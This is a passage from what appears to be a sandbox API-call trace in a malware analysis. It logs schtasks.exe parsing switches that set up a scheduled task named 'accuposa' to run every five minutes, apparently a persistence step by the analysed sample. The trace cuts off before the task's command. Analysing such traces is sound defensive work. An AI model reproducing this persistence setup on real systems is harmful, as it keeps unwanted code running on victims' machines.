_Size=0x7) returned 0 [0124.169] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|query|") returned 7 [0124.169] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tn|") returned 4 [0124.172] lstrlenW (lpString="|query|") returned 7 [0124.172] lstrlenW (lpString="|tn|") returned 4 [0124.172] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0124.172] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.172] lstrlenW (lpString="change") returned 6 [0124.172] lstrlenW (lpString="change") returned 6 [0124.172] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.172] lstrlenW (lpString="tn") returned 2 [0124.172] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.172] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|change|") returned 8 [0124.172] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tn|") returned 4 [0124.172] lstrlenW (lpString="|change|") returned 8 [0124.172] lstrlenW (lpString="|tn|") returned 4 [0124.172] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0124.172] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.172] lstrlenW (lpString="run") returned 3 [0124.172] lstrlenW (lpString="run") returned 3 [0124.172] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.172] lstrlenW (lpString="tn") returned 2 [0124.172] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.172] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|run|") returned 5 [0124.172] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tn|") returned 4 [0124.172] lstrlenW (lpString="|run|") returned 5 [0124.172] lstrlenW (lpString="|tn|") returned 4 [0124.173] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0124.173] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.173] lstrlenW (lpString="end") returned 3 [0124.173] lstrlenW (lpString="end") returned 3 [0124.173] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.173] lstrlenW (lpString="tn") returned 2 [0124.173] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.173] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|end|") returned 5 [0124.173] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tn|") returned 4 [0124.173] lstrlenW (lpString="|end|") returned 5 [0124.173] lstrlenW (lpString="|tn|") returned 4 [0124.173] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0124.173] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.173] lstrlenW (lpString="showsid") returned 7 [0124.173] lstrlenW (lpString="showsid") returned 7 [0124.173] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.173] GetProcessHeap () returned 0x2996d990000 [0124.173] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d9939b0) returned 1 [0124.173] GetProcessHeap () returned 0x2996d990000 [0124.173] RtlReAllocateHeap (Heap=0x2996d990000, Flags=0xc, Ptr=0x2996d9939b0, Size=0x16) returned 0x2996d9939b0 [0124.173] lstrlenW (lpString="tn") returned 2 [0124.173] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.173] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|showsid|") returned 9 [0124.173] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tn|") returned 4 [0124.173] lstrlenW (lpString="|showsid|") returned 9 [0124.173] lstrlenW (lpString="|tn|") returned 4 [0124.173] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] lstrlenW (lpString="/tn") returned 3 [0124.174] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] lstrlenW (lpString="/tn") returned 3 [0124.174] GetProcessHeap () returned 0x2996d990000 [0124.174] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x8) returned 0x2996d993950 [0124.174] GetProcessHeap () returned 0x2996d990000 [0124.174] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b540 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] lstrlenW (lpString="accuposa") returned 8 [0124.174] lstrlenW (lpString="-/") returned 2 [0124.174] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] lstrlenW (lpString="accuposa") returned 8 [0124.174] StrChrIW (lpStart="accuposa", wMatch=0x3a) returned 0x0 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] lstrlenW (lpString="accuposa") returned 8 [0124.174] GetProcessHeap () returned 0x2996d990000 [0124.174] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x12) returned 0x2996d99a8f0 [0124.174] GetProcessHeap () returned 0x2996d990000 [0124.174] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b420 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.174] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.175] lstrlenW (lpString="/sc") returned 3 [0124.175] lstrlenW (lpString="-/") returned 2 [0124.175] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.175] lstrlenW (lpString="?") returned 1 [0124.175] lstrlenW (lpString="?") returned 1 [0124.175] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.175] lstrlenW (lpString="sc") returned 2 [0124.175] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.175] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|?|") returned 3 [0124.175] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|sc|") returned 4 [0124.175] lstrlenW (lpString="|?|") returned 3 [0124.175] lstrlenW (lpString="|sc|") returned 4 [0124.175] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.175] lstrlenW (lpString="create") returned 6 [0124.175] lstrlenW (lpString="create") returned 6 [0124.175] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.175] lstrlenW (lpString="sc") returned 2 [0124.175] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.175] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|create|") returned 8 [0124.175] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|sc|") returned 4 [0124.175] lstrlenW (lpString="|create|") returned 8 [0124.175] lstrlenW (lpString="|sc|") returned 4 [0124.175] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0124.175] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.175] lstrlenW (lpString="delete") returned 6 [0124.175] lstrlenW (lpString="delete") returned 6 [0124.175] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.176] lstrlenW (lpString="sc") returned 2 [0124.176] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.176] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|delete|") returned 8 [0124.176] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|sc|") returned 4 [0124.176] lstrlenW (lpString="|delete|") returned 8 [0124.176] lstrlenW (lpString="|sc|") returned 4 [0124.176] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0124.176] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.176] lstrlenW (lpString="query") returned 5 [0124.176] lstrlenW (lpString="query") returned 5 [0124.176] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.176] lstrlenW (lpString="sc") returned 2 [0124.176] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.176] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|query|") returned 7 [0124.176] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|sc|") returned 4 [0124.176] lstrlenW (lpString="|query|") returned 7 [0124.176] lstrlenW (lpString="|sc|") returned 4 [0124.176] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0124.176] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.176] lstrlenW (lpString="change") returned 6 [0124.176] lstrlenW (lpString="change") returned 6 [0124.176] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.176] lstrlenW (lpString="sc") returned 2 [0124.176] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.176] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|change|") returned 8 [0124.177] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|sc|") returned 4 [0124.177] lstrlenW (lpString="|change|") returned 8 [0124.177] lstrlenW (lpString="|sc|") returned 4 [0124.177] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0124.177] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.177] lstrlenW (lpString="run") returned 3 [0124.177] lstrlenW (lpString="run") returned 3 [0124.177] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.177] lstrlenW (lpString="sc") returned 2 [0124.177] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.177] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|run|") returned 5 [0124.177] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|sc|") returned 4 [0124.177] lstrlenW (lpString="|run|") returned 5 [0124.177] lstrlenW (lpString="|sc|") returned 4 [0124.177] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0124.177] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.177] lstrlenW (lpString="end") returned 3 [0124.177] lstrlenW (lpString="end") returned 3 [0124.177] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.177] lstrlenW (lpString="sc") returned 2 [0124.177] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.177] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|end|") returned 5 [0124.177] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|sc|") returned 4 [0124.177] lstrlenW (lpString="|end|") returned 5 [0124.177] lstrlenW (lpString="|sc|") returned 4 [0124.177] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0124.178] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.178] lstrlenW (lpString="showsid") returned 7 [0124.178] lstrlenW (lpString="showsid") returned 7 [0124.178] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.178] lstrlenW (lpString="sc") returned 2 [0124.178] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.178] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|showsid|") returned 9 [0124.178] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|sc|") returned 4 [0124.178] lstrlenW (lpString="|showsid|") returned 9 [0124.178] lstrlenW (lpString="|sc|") returned 4 [0124.178] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0124.178] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.178] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.178] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.178] lstrlenW (lpString="/sc") returned 3 [0124.178] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0124.178] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.178] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.178] lstrlenW (lpString="/sc") returned 3 [0124.178] GetProcessHeap () returned 0x2996d990000 [0124.178] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x8) returned 0x2996d993bb0 [0124.178] GetProcessHeap () returned 0x2996d990000 [0124.178] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b5d0 [0124.178] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.178] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.178] lstrlenW (lpString="MINUTE") returned 6 [0124.178] lstrlenW (lpString="-/") returned 2 [0124.178] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0124.179] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.179] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.179] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.179] lstrlenW (lpString="MINUTE") returned 6 [0124.179] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0124.179] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.179] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.179] lstrlenW (lpString="MINUTE") returned 6 [0124.179] GetProcessHeap () returned 0x2996d990000 [0124.179] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xe) returned 0x2996d99a9f0 [0124.179] GetProcessHeap () returned 0x2996d990000 [0124.179] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b930 [0124.179] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.179] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.179] lstrlenW (lpString="/mo") returned 3 [0124.179] lstrlenW (lpString="-/") returned 2 [0124.179] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.179] lstrlenW (lpString="?") returned 1 [0124.179] lstrlenW (lpString="?") returned 1 [0124.179] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.179] lstrlenW (lpString="mo") returned 2 [0124.179] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.179] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|?|") returned 3 [0124.179] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|mo|") returned 4 [0124.179] lstrlenW (lpString="|?|") returned 3 [0124.179] lstrlenW (lpString="|mo|") returned 4 [0124.179] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.179] lstrlenW (lpString="create") returned 6 [0124.179] lstrlenW (lpString="create") returned 6 [0124.180] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.180] lstrlenW (lpString="mo") returned 2 [0124.180] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.180] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|create|") returned 8 [0124.180] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|mo|") returned 4 [0124.180] lstrlenW (lpString="|create|") returned 8 [0124.180] lstrlenW (lpString="|mo|") returned 4 [0124.180] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0124.180] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.180] lstrlenW (lpString="delete") returned 6 [0124.180] lstrlenW (lpString="delete") returned 6 [0124.180] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.180] lstrlenW (lpString="mo") returned 2 [0124.180] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.180] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|delete|") returned 8 [0124.180] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|mo|") returned 4 [0124.180] lstrlenW (lpString="|delete|") returned 8 [0124.180] lstrlenW (lpString="|mo|") returned 4 [0124.180] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0124.180] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.180] lstrlenW (lpString="query") returned 5 [0124.180] lstrlenW (lpString="query") returned 5 [0124.180] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.180] lstrlenW (lpString="mo") returned 2 [0124.180] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.180] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|query|") returned 7 [0124.181] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|mo|") returned 4 [0124.181] lstrlenW (lpString="|query|") returned 7 [0124.181] lstrlenW (lpString="|mo|") returned 4 [0124.181] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0124.181] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.181] lstrlenW (lpString="change") returned 6 [0124.181] lstrlenW (lpString="change") returned 6 [0124.181] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.181] lstrlenW (lpString="mo") returned 2 [0124.181] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.181] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|change|") returned 8 [0124.181] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|mo|") returned 4 [0124.181] lstrlenW (lpString="|change|") returned 8 [0124.181] lstrlenW (lpString="|mo|") returned 4 [0124.181] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0124.181] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.181] lstrlenW (lpString="run") returned 3 [0124.181] lstrlenW (lpString="run") returned 3 [0124.181] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.181] lstrlenW (lpString="mo") returned 2 [0124.181] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.181] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|run|") returned 5 [0124.181] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|mo|") returned 4 [0124.181] lstrlenW (lpString="|run|") returned 5 [0124.181] lstrlenW (lpString="|mo|") returned 4 [0124.181] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0124.181] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.182] lstrlenW (lpString="end") returned 3 [0124.182] lstrlenW (lpString="end") returned 3 [0124.182] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.182] lstrlenW (lpString="mo") returned 2 [0124.182] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.182] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|end|") returned 5 [0124.182] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|mo|") returned 4 [0124.182] lstrlenW (lpString="|end|") returned 5 [0124.182] lstrlenW (lpString="|mo|") returned 4 [0124.182] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0124.182] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.182] lstrlenW (lpString="showsid") returned 7 [0124.182] lstrlenW (lpString="showsid") returned 7 [0124.182] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.182] lstrlenW (lpString="mo") returned 2 [0124.182] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.182] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|showsid|") returned 9 [0124.182] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|mo|") returned 4 [0124.182] lstrlenW (lpString="|showsid|") returned 9 [0124.182] lstrlenW (lpString="|mo|") returned 4 [0124.182] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0124.182] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.182] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.182] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.182] lstrlenW (lpString="/mo") returned 3 [0124.182] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0124.182] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.182] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.183] lstrlenW (lpString="/mo") returned 3 [0124.183] GetProcessHeap () returned 0x2996d990000 [0124.183] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x8) returned 0x2996d993bd0 [0124.183] GetProcessHeap () returned 0x2996d990000 [0124.183] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b600 [0124.183] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.183] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.183] lstrlenW (lpString="5") returned 1 [0124.183] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.183] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.183] lstrlenW (lpString="5") returned 1 [0124.183] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0124.183] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.183] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.183] lstrlenW (lpString="5") returned 1 [0124.183] GetProcessHeap () returned 0x2996d990000 [0124.183] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x4) returned 0x2996d993bf0 [0124.183] GetProcessHeap () returned 0x2996d990000 [0124.183] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b840 [0124.183] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.183] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.183] lstrlenW (lpString="/tr") returned 3 [0124.183] lstrlenW (lpString="-/") returned 2 [0124.183] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.183] lstrlenW (lpString="?") returned 1 [0124.183] lstrlenW (lpString="?") returned 1 [0124.183] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.183] lstrlenW (lpString="tr") returned 2 [0124.183] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.184] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|?|") returned 3 [0124.184] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tr|") returned 4 [0124.184] lstrlenW (lpString="|?|") returned 3 [0124.184] lstrlenW (lpString="|tr|") returned 4 [0124.184] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.184] lstrlenW (lpString="create") returned 6 [0124.184] lstrlenW (lpString="create") returned 6 [0124.184] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.184] lstrlenW (lpString="tr") returned 2 [0124.184] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.184] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|create|") returned 8 [0124.184] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tr|") returned 4 [0124.184] lstrlenW (lpString="|create|") returned 8 [0124.184] lstrlenW (lpString="|tr|") returned 4 [0124.184] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0124.184] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.184] lstrlenW (lpString="delete") returned 6 [0124.185] lstrlenW (lpString="delete") returned 6 [0124.185] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.185] lstrlenW (lpString="tr") returned 2 [0124.185] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.185] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|delete|") returned 8 [0124.185] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tr|") returned 4 [0124.185] lstrlenW (lpString="|delete|") returned 8 [0124.185] lstrlenW (lpString="|tr|") returned 4 [0124.185] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0124.187] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.187] lstrlenW (lpString="query") returned 5 [0124.187] lstrlenW (lpString="query") returned 5 [0124.187] _memicmp (_Buf1=0x2996d9943c0, 